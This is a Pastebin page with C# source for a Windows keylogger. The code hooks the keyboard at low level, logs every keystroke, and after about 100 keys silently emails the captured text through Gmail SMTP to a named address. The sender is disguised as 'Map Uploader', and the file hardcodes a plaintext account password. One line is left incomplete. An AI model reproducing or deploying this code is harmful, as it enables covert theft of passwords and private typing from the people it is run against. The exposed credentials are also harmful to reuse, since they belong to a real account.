Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Diagnostics;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- using System.Net.Mail;
- namespace KLEC
- {
- class Correos
- {
- SmtpClient server = new SmtpClient("smtp.gmail.com", 587);
- public Correos()
- {
- server.Credentials = new System.Net.NetworkCredential("ddcmapuploader@gmail.com", "k3fjd5h6");
- server.EnableSsl = true;
- }
- public void MandarCorreo(MailMessage mensaje)
- {
- server.Send(mensaje);
- }
- }
- class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private const int WM_SYSKEYDOWN = 0x0104;
- private const int VK_CAPITAL = 0x14;
- private static LowLevelKeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- private static string KeyStr = "";
- private static long KCount = 0;
- static void Main(string[] args)
- {
- _hookID = SetHook(_proc);
- Application.Run();
- UnhookWindowsHookEx(_hookID);
- }
- private static string EncodeString(Keys code)
- {
- if (code >= Keys.A && code <= Keys.Z)
- {
- bool CapsLockOn = (GetKeyState(VK_CAPITAL) == 0) ? false : true;
- bool BloqMayusOn = Control.ModifierKeys == Keys.Shift;
- return (CapsLockOn ^ BloqMayusOn) ? code.ToString() : ((char)(code.ToString()[0] + ' ')).ToString();
- }
- else if (code == Keys.Space)
- return " ";
- else if (code == Keys.Tab)
- return "\t";
- else if (code == Keys.Shift || code == Keys.Capital || code == Keys.CapsLock)
- return "";
- else return "\n[KEY " + code.ToString() + "]\n";
- }
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess())
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
- GetModuleHandle(curModule.ModuleName), 0);
- }
- }
- private delegate IntPtr LowLevelKeyboardProc(
- int nCode, IntPtr wParam, IntPtr lParam);
- private static IntPtr HookCallback(
- int nCode, IntPtr wParam, IntPtr lParam)
- {
- if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
- {
- int vkCode = Marshal.ReadInt32(lParam);
- KeyStr += EncodeString((Keys)vkCode);
- }
- KCount++;
- if (KCount > 100)
- {
- try
- {
- Correos Cr = new Correos();
- MailMessage mnsj = new MailMessage();
- mnsj.Subject = "Received Data";
- mnsj.To.Add(new MailAddress("fmbesteiro@gmail.com"));
- mnsj.From = new MailAddress("ddcmapuploader@gmail.com", "Map Uploader");
- mnsj.
- mnsj.Body = KeyStr;
- KeyStr = "";
- KCount = 0;
- Cr.MandarCorreo(mnsj);
- }
- catch (Exception ex)
- {
- }
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
- }
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook,
- LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
- IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern short GetKeyState(int KeyCode);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement